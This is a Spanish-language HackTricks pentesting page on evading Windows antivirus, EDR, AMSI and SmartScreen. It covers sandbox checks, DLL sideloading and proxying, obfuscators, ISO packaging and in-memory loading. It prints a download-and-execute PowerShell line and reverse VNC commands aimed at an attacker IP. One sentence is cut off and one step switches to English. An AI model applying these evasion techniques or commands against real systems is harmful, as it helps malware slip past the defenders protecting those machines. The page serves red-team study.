<summary><strong>Aprende hacking en AWS de cero a héroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Actualmente, los AV utilizan diferentes métodos para verificar si un archivo es malicioso o no, detección estática, análisis dinámico y, para los EDR más avanzados, análisis de comportamiento.
La detección estática se logra marcando cadenas maliciosas conocidas o arreglos de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo, descripción del archivo, nombre de la empresa, firmas digitales, icono, suma de verificación, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te atrapen más fácilmente, ya que probablemente han sido analizadas y marcadas como maliciosas. Hay un par de formas de evitar este tipo de detección:
Si encriptas el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de cargador para desencriptar y ejecutar el programa en memoria.
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume mucho tiempo, dependiendo de lo que estés tratando de ofuscar.
Una buena manera de verificar contra la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente, divide el archivo en varios segmentos y luego pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
Te recomiendo encarecidamente que veas esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre Evasión de AV práctica.
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y busca actividad maliciosa (por ejemplo, intentar desencriptar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
* **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una excelente manera de eludir el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos tiempos de espera puede perturbar el análisis de binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse el tiempo de espera dependiendo de cómo se implemente.
* **Verificación de recursos de la máquina** Por lo general, los Sandboxes tienen muy pocos recursos para trabajar (por ejemplo, <2GBdeRAM),delocontrariopodríanralentizarlamáquinadelusuario.Tambiénpuedessermuycreativoaquí,porejemplo,comprobandolatemperaturadelaCPUoinclusolavelocidaddelosventiladores,notodoestaráimplementadoenelsandbox.
* **Verificaciones específicas de la máquina** Si quieres dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio del ordenador para ver si coincide con el que has especificado, si no es así, puedes hacer que tu programa salga.
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, por lo que, puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de defender, por lo que puedes hacer que tu programa salga.
<figure><imgsrc="../.gitbook/assets/image (2) (1) (1) (2) (1).png"alt=""><figcaption><p><ahref="https://discord.com/servers/red-team-vx-community-1012733841229746240">Discord de Red Team VX</a> canal #malware-dev</p></figcaption></figure>
Por ejemplo, si quieres hacer un volcado de LSASS, **¿realmente necesitas usar mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y también haga un volcado de LSASS?
La respuesta correcta es probablemente la segunda. Tomando mimikatz como ejemplo, es probablemente una de las piezas de malware, si no la más marcada por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evitar los AV, así que simplemente busca alternativas para lo que estás tratando de lograr.
Cuando modifiques tus payloads para la evasión, asegúrate de **desactivar la presentación automática de muestras** en defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, por lo que es un truco muy simple de usar para evitar la detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como una DLL, por supuesto).
Como podemos ver en esta imagen, un Payload DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el payload EXE tiene una tasa de detección de 7/26.
<figure><imgsrc="../.gitbook/assets/image (6) (3) (1).png"alt=""><figcaption><p>comparación de antiscan.me de un payload EXE normal de Havoc vs un payload DLL normal de Havoc</p></figcaption></figure>
**DLL Sideloading** aprovecha el orden de búsqueda de DLL utilizado por el cargador, posicionando tanto la aplicación víctima como los payload(s) maliciosos uno al lado del otro.
Recomiendo encarecidamente que **explores por ti mismo programas susceptibles a Hijack/Sideload de DLL**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas conocidos públicamente susceptibles a Sideload de DLL, puedes ser descubierto fácilmente.
Simplemente colocando una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL, para solucionar este problema, usaremos otra técnica llamada **Proxying/Forwarding de DLL**.
**Proxying de DLL** redirige las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y siendo capaz de manejar la ejecución de tu payload.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo consideraría un éxito.
**Recomiendo encarecidamente** que veas el VOD de twitch de [S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el video de [ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más en profundidad sobre lo que hemos discutido.
`Freeze es un kit de herramientas de carga útil para evadir EDRs utilizando procesos suspendidos, syscalls directos y métodos de ejecución alternativos`
La evasión es simplemente un juego del gato y el ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes en una sola herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
AMSI fue creado para prevenir el "[malware sin archivo](https://en.wikipedia.org/wiki/Fileless\_malware)". Inicialmente, los antivirus solo eran capaces de escanear **archivos en disco**, así que si de alguna manera podías ejecutar cargas útiles **directamente en memoria**, el antivirus no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
Permite que las soluciones antivirus inspeccionen el comportamiento de los scripts exponiendo el contenido de los scripts de una forma que está desencriptada y desofuscada.
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
Dado que AMSI trabaja principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadir. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, por lo que depende de cuánto algo ha sido marcado.
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a este fallo en la implementación de AMSI, los investigadores han encontrado múltiples maneras de evadir el escaneo de AMSI.
Forzar que la inicialización de AMSI falle (amsiInitFailed) resultará en que no se inicie ningún escaneo para el proceso actual. Originalmente esto fue divulgado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
Solo se necesitó una línea de código powershell para hacer que AMSI no funcionara para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por el propio AMSI, por lo que se necesita alguna modificación para utilizar esta técnica.
Tenga en cuenta que esto probablemente será marcado una vez que se publique este post, por lo que no debería publicar ningún código si su plan es permanecer sin ser detectado.
Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/\_RastaMouse/) e implica encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada suministrada por el usuario) y sobrescribirla con instrucciones para devolver el código de E\_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.
Por favor, lea [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para obtener una explicación más detallada.
También hay muchas otras técnicas utilizadas para evadir AMSI con powershell, consulte [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) y [este repositorio](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
O este script que a través del parcheo de memoria parcheará cada nuevo Powersh
Hay varias herramientas que se pueden utilizar para **ofuscar código claro de C#**, generar **plantillas de metaprogramación** para compilar binarios o **ofuscar binarios compilados** como:
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto del conjunto de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar mayor seguridad del software a través de la [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y la protección contra manipulaciones.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo usar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin utilizar ninguna herramienta externa y sin modificar el compilador.
* [**obfy**](https://github.com/fritzone/obfy): Añade una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que puede ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes soportados por LLVM utilizando ROP (programación orientada a retorno). ROPfuscator ofusca un programa a nivel de código de ensamblaje transformando instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas poco comunes activarán SmartScreen, alertando y previniendo al usuario final de ejecutar el archivo (aunque el archivo aún puede ser ejecutado haciendo clic en Más Información -> Ejecutar de todos modos).
**MoTW** (Marca de la Web) es un [Flujo de Datos Alternativo de NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de internet, junto con la URL de la que se descargó.
<figure><imgsrc="../.gitbook/assets/image (13) (3).png"alt=""><figcaption><p>Verificando el ADS Zone.Identifier para un archivo descargado de internet.</p></figcaption></figure>
Una forma muy efectiva de evitar que sus cargas útiles obtengan la Marca de la Web es empaquetándolas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la Marca-de-la-Web (MOTW) **no puede** aplicarse a volúmenes **no NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta cargas útiles en contenedores de salida para evadir la Marca-de-la-Web.
Aquí hay una demostración para evadir SmartScreen empaquetando cargas útiles dentro de archivos ISO utilizando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Cargar binarios C# en memoria es conocido desde hace tiempo y sigue siendo una excelente manera de ejecutar tus herramientas de post-explotación sin ser detectado por el AV.
Dado que la carga útil se cargará directamente en la memoria sin tocar el disco, solo tendremos que preocuparnos por parchear AMSI para todo el proceso.
La mayoría de los marcos de C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya ofrecen la capacidad de ejecutar ensamblados C# directamente en memoria, pero hay diferentes maneras de hacerlo:
Implica **iniciar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termine, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus inconvenientes. El beneficio del método fork and run es que la ejecución ocurre **fuera** de nuestro proceso implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mucho mayor posibilidad** de que nuestro **implante sobreviva**. El inconveniente es que tienes una **mayor posibilidad** de ser detectado por **Detecciones de Comportamiento**.
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por el AV, pero el inconveniente es que si algo sale mal con la ejecución de tu carga útil, hay una **mucho mayor posibilidad** de **perder tu beacon**, ya que podría colapsar.
Si quieres leer más sobre la carga de ensamblados C#, por favor consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
También puedes cargar ensamblados C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y el video de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes al darle a la máquina comprometida acceso **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Al permitir el acceso a los Binarios del Intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
El repositorio indica: Defender todavía escanea los scripts pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evadir firmas estáticas**. Las pruebas con scripts de shell reverso aleatorios y sin ofuscar en estos lenguajes han demostrado ser exitosas.
La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectado en entornos maduros.
Te animo encarecidamente a que veas esta charla de [@ATTL4S](https://twitter.com/DaniLJ94), para obtener una base sobre técnicas de Evasión más Avanzadas.
Puedes usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **eliminará partes del binario** hasta que **descubra qué parte encuentra Defender** como maliciosa y te la muestre.\
Otra herramienta que hace **lo mismo es** [**avred**](https://github.com/dobin/avred) con una oferta web abierta en [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (quieres las descargas bin, no la instalación)
El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una **conexión VNC inversa**. Luego, dentro de la **víctima**: Inicia el daemon winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
* No inicies `winvnc` si ya está en funcionamiento o activarás un [popup](https://i.imgur.com/1SROTTl.png). verifica si está en funcionamiento con `tasklist | findstr winvnc`
* No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
* No ejecutes `winvnc -h` para obtener ayuda o activarás un [popup](https://i.imgur.com/oc18wcu.png)
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
